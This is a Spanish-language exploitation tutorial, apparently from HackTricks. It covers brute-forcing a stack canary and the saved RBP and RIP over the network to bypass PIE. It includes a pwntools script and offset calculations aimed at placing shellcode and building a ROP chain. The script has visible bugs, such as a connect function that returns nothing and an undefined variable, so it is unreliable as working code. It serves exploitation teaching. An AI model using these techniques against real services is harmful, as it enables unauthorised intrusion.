BF Addresses in the Stack

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si te enfrentas a un binario protegido por un canary y PIE (Ejecutable Independiente de Posición) probablemente necesites encontrar una forma de evadirlos.

Ten en cuenta que checksec puede que no encuentre que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función. Sin embargo, puedes darte cuenta manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.

Direcciones de Fuerza Bruta

Para evadir el PIE necesitas filtrar alguna dirección. Y si el binario no está filtrando ninguna dirección, lo mejor es forzar la RBP y RIP guardados en la pila en la función vulnerable. Por ejemplo, si un binario está protegido usando tanto un canary como PIE, puedes comenzar a forzar por fuerza bruta el canary, luego los siguientes 8 Bytes (x64) serán la RBP guardada y los siguientes 8 Bytes serán el RIP guardado.

Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, lo cual, si la vulnerabilidad se encuentra en el código binario, suele ser el caso.

Para forzar por fuerza bruta la RBP y el RIP desde el binario puedes darte cuenta de que un byte adivinado válido es correcto si el programa produce alguna salida o simplemente no se bloquea. La misma función que la proporcionada para forzar por fuerza bruta el canary se puede usar para forzar por fuerza bruta la RBP y el RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Lo último que necesitas para derrotar al PIE es calcular direcciones útiles a partir de las direcciones filtradas: el RBP y el RIP.

A partir del RBP puedes calcular dónde estás escribiendo tu shell en la pila. Esto puede ser muy útil para saber dónde vas a escribir la cadena "/bin/sh\x00" dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente coloca un punto de interrupción después de filtrar el RBP y verifica dónde se encuentra tu shellcode, luego puedes calcular la distancia entre el shellcode y el RBP:

INI_SHELLCODE = RBP - 1152

Desde el RIP puedes calcular la dirección base del binario PIE que necesitarás para crear una cadena ROP válida. Para calcular la dirección base, simplemente ejecuta objdump -d vunbinary y verifica las últimas direcciones desensambladas:

En ese ejemplo puedes ver que solo se necesita 1 byte y medio para localizar todo el código, entonces, la dirección base en esta situación será el RIP filtrado pero terminando en "000". Por ejemplo, si filtraste 0x562002970ecf, la dirección base será 0x562002970000.

elf.address = RIP - (RIP & 0xfff)

Mejoras

Según algunas observaciones de esta publicación, es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script BF pensará que obtuvo los correctos. Esto se debe a que es posible que algunas direcciones simplemente no lo rompan incluso si no son exactamente las correctas.

Según esa publicación en el blog, se recomienda agregar un breve retraso entre las solicitudes al servidor.

Última actualización